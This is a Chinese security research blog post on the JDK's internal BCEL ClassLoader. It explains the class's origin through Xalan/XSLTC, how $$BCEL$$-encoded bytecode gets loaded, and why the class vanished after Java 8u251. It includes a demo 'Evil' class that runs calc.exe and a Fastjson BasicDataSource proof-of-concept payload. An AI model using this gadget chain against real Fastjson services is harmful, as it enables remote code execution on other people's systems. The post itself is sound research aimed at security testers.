BCEL ClassLoader去哪了
0x01 BCEL从哪里来
首先,BCEL究竟是什么?它为什么会出现在JDK中?
BCEL的全名应该是Apache Commons BCEL,属于Apache Commons项目下的一个子项目。Apache Commons大家应该不陌生,反序列化最著名的利用链就是出自于其另一个子项目——Apache Commons Collections。
BCEL库提供了一系列用于分析、创建、修改Java Class文件的API。
就这个库的功能来看,其使用面远不及同胞兄弟们,但是他比Commons Collections特殊的一点是,它被包含在了原生的JDK中,位于com.sun.org.apache.bcel
。
据我(不严谨)的考证,JDK会将BCEL放到自己的代码中,主要原因是为了支撑Java XML相关的功能。准确的来说,Java XML功能包含了JAXP规范,而Java中自带的JAXP实现使用了Apache Xerces和Apache Xalan,Apache Xalan又依赖了BCEL,所以BCEL也被放入了标准库中。
JAXP全名是Java API for XML Processing,他是Java定义的一系列接口,用于处理XML相关的逻辑,包括DOM、SAX、StAX、XSLT等。Apache Xalan实现了其中XSLT相关的部分,其中包括xsltc compiler。
XSLT(扩展样式表转换语言)是一种为可扩展置标语言提供表达形式而设计的计算机语言,主要用于将XML转换成其他格式的数据。既然是一门动态“语言”,在Java中必然会先被编译成Java,才能够执行。
XSLTC Compiler就是一个命令行编译器,可以将一个xsl文件编译成一个class文件或jar文件,编译后的class被称为translet,可以在后续用于对XML文件的转换。其实就将XSLT的功能转化成了Java代码,优化执行的速度,如果我们不使用这个命令行编译器进行编译,Java内部也会在运行过程中存在编译的过程。
我们尝试用本地的Java(注意需要用Java7或6,使用8将会出现异常)来编译一下hello.xsl:
java com.sun.org.apache.xalan.internal.xsltc.cmdline.Compile hello.xsl
可见,从hello.xsl
生成了hello.class
,反编译这个class即可看到源代码。
不知道大家看到这个代码里的AbstractTranslet
会不会有点眼熟?我们在反序列化时常用的另一个类com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl
,它在defineClass
中需要的字节码所对应的基类,就是这里的com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet
。
其实Java里很多东西是有因果的,TemplatesImpl
是对JAXP标准中javax.xml.transform.Templates
接口的实现,前文说了,XSLT在使用时会先编译成Java字节码,这也就是为什么TemplatesImpl
会使用defineClass
的原因。
关于XSLT这块的内容比较多,不是本文的重点,我就不细说了。那么这部分内容和BCEL有什么关系呢?
你应该也能猜到了,因为需要“编译”XSL文件,实际上核心是动态生成Java字节码,而BCEL正是一个处理字节码的库,所以Apache Xalan是依赖BCEL的。
0x02 BCEL ClassLoader如何使用
BCEL这个包中有个有趣的类com.sun.org.apache.bcel.internal.util.ClassLoader
,他是一个ClassLoader,但是他重写了Java内置的ClassLoader#loadClass()
方法。
在ClassLoader#loadClass()
中,其会判断类名是否是$$BCEL$$
开头,如果是的话,将会对这个字符串进行decode。具体算法在这里:
private static class JavaWriter extends FilterWriter {
public JavaWriter(Writer out) {
super(out);
}
public void write(int b) throws IOException {
if(isJavaIdentifierPart((char)b) && (b != ESCAPE_CHAR)) {
out.write(b);
} else {
out.write(ESCAPE_CHAR); // Escape character
// Special escape
if(b >= 0 && b < FREE_CHARS) {
out.write(CHAR_MAP[b]);
} else { // Normal escape
char[] tmp = Integer.toHexString(b).toCharArray();
if(tmp.length == 1) {
out.write('0');
out.write(tmp[0]);
} else {
out.write(tmp[0]);
out.write(tmp[1]);
}
}
}
}
public void write(char[] cbuf, int off, int len) throws IOException {
for(int i=0; i < len; i++)
write(cbuf[off + i]);
}
public void write(String str, int off, int len) throws IOException {
write(str.toCharArray(), off, len);
}
}
基本可以理解为是传统字节码的HEX编码,再将反斜线替换成$
。默认情况下外层还会加一层GZip压缩。
我们可以编写一个恶意类Evil:
package org.vulhub.fastjson;
public class Evil {
static {
try {
Runtime.getRuntime().exec("calc.exe");
} catch (Exception e) {}
}
}
然后将Evil生成BCEL形式的字节码。使用这个字节码来新建对象,将会调用到计算器:
0x03 BCEL在Fastjson漏洞中的利用
前文介绍了BCEL的来历和用法,那么在实际攻防对抗中,我们是如何认识BCEL的呢?
这就得追溯到Fastjson的反序列化漏洞了。当年Fastjson反序列化漏洞出现后,网络上广泛流传的利用链有下面三个:
com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl
com.sun.rowset.JdbcRowSetImpl
org.apache.tomcat.dbcp.dbcp2.BasicDataSource
第一个利用链是常规的Java字节码的执行,但是需要开启Feature.SupportNonPublicField
,比较鸡肋;第二个利用链用到的是JNDI注入,利用条件相对较低,但是需要连接远程恶意服务器,在目标没外网的情况下无法直接利用;第三个利用链也是一个字节码的利用,但其无需目标额外开启选项,也不用连接外部服务器,利用条件更低。
BasicDataSource
的利用原理可以参考这篇文章Java动态类加载,当FastJson遇到内网 – KINGX,本文也仅做一个简单的描述。
BasicDataSource
的toString()
方法会遍历这个类的所有getter并执行,于是通过getConnection()->createDataSource()->createConnectionFactory()
的调用关系,调用到了createConnectionFactory
方法:
protected ConnectionFactory createConnectionFactory() throws SQLException {
// Load the JDBC driver class
Driver driverToUse = this.driver;
if (driverToUse == null) {
Class<?> driverFromCCL = null;
if (driverClassName != null) {
try {
try {
if (driverClassLoader == null) {
driverFromCCL = Class.forName(driverClassName);
} else {
driverFromCCL = Class.forName(
driverClassName, true, driverClassLoader);
}
...
在createConnectionFactory
方法中,调用了Class.forName(driverClassName, true, driverClassLoader)
。有读过我的《Java安全漫谈》第一篇文章的同学应该对Class.forName
还有印象,第二个参数initial
为true时,类加载后将会直接执行static{}
块中的代码。
因为driverClassLoader
和driverClassName
都可以通过fastjson控制,所以只要找到一个可以利用的恶意类即可。
BCEL ClassLoader闪亮登场。第二章中我们已经演示过com.sun.org.apache.bcel.internal.util.ClassLoader
是如何加载字节码并执行命令的,这里只是将前文的loadClass
变成了Class.forName
。
综上,我们可以构造一个Fastjson的POC:
{
{
"aaa": {
"@type": "org.apache.tomcat.dbcp.dbcp2.BasicDataSource",
"driverClassLoader": {
"@type": "com.sun.org.apache.bcel.internal.util.ClassLoader"
},
"driverClassName": "$$BCEL$$$l$8b$I$A$..."
}
}: "bbb"
}
触发反序列化命令执行:
0x04 BCEL去哪了
同样的代码,如果在Java 8u261下执行,则会出现一个异常:
查看原因,发现是com.sun.org.apache.bcel.internal.util.ClassLoader
这个类不在了,查看源码确实没有了。
翻一下Java的更新日志,可以发现在8u251的时候,曾有过一个BCEL相关的更新:Java™ SE Development Kit 8, Update 251 Bug Fixes
点issue可以发现其创建于2016年8月,但是在2020年才被正式修改。他的描述是:
BCEL 6.0 has been released at Apache Commons on 7/16/, refer to the common page: Apache Commons BCEL™ – Home and release notes: https://archive.apache.org/dist/commons/bcel/RELEASE-NOTES.txt
We should evaluate and upgrade to the latest release from the current version 5.2 in the JDK.
其实就是把BCEL的依赖升级到6.0了。难道是BCEL 6.0之后这个ClassLoader被删除了吗?
我登录Apache Commons BCEL官网,下载了多个6.x的代码,发现ClassLoader都是存在的:
这就十分奇怪了。
不过,我在BCEL的Issue中找到了这么一个:[BCEL-110] Problem with JAXB if the bcel classloader is used - ASF JIRA
其修复方法就是简单粗暴地删除了src/main/java/org/apache/commons/bcel6/util/ClassLoader.java
:
但是,为什么在官网下载的源码包中又存在这个类呢?我继而又翻到了两个有趣的提交:
在2015年的时候,曾有过这么一个issue:[BCEL-222] Major release of BCEL requires updating package name and maven coordinate - ASF JIRA,提出修改bcel命名空间为bcel6。但是在2016年6月,又将所有的修改全部改了回去。
这时注意了,仔细查看之前的ClassLoader.java被删除的那条记录你会发现,删除的时候是在2015年8月,且目录中的文件夹名字是bcel6。也就是说,刚好是被改后的这段时间,然而因为2016年那次的revert ,这个改动也被撤回了……
所以你在官网里下载的BCEL中,ClassLoader是存在的。
那么为什么Java内的ClassLoader没有了呢?我觉得只有两个可能性:
- Java在升级BCEL的时候注意到了前面那个issue,并参考它的修复方式重新将ClassLoader删除了
- Java将BCEL升级到6.0时用的是一个删除了ClassLoader版本的BCEL(但无法解释为何命名空间不是bcel6)
所以,很遗憾,在Java 8u251以后,BCEL这个安全人员的好伙伴就此离家出走了,不知道何时会归来。所以,之后测试fastjson反序列化,记得这里有个坑。
参考链接:
- https://docs.oracle.com/javase/tutorial/jaxp/index.html
- Java动态类加载,当FastJson遇到内网 – KINGX
- Java™ SE Development Kit 8, Update 251 Bug Fixes
原文出处:BCEL ClassLoader去哪了 | 离别歌 (leavesongs.com)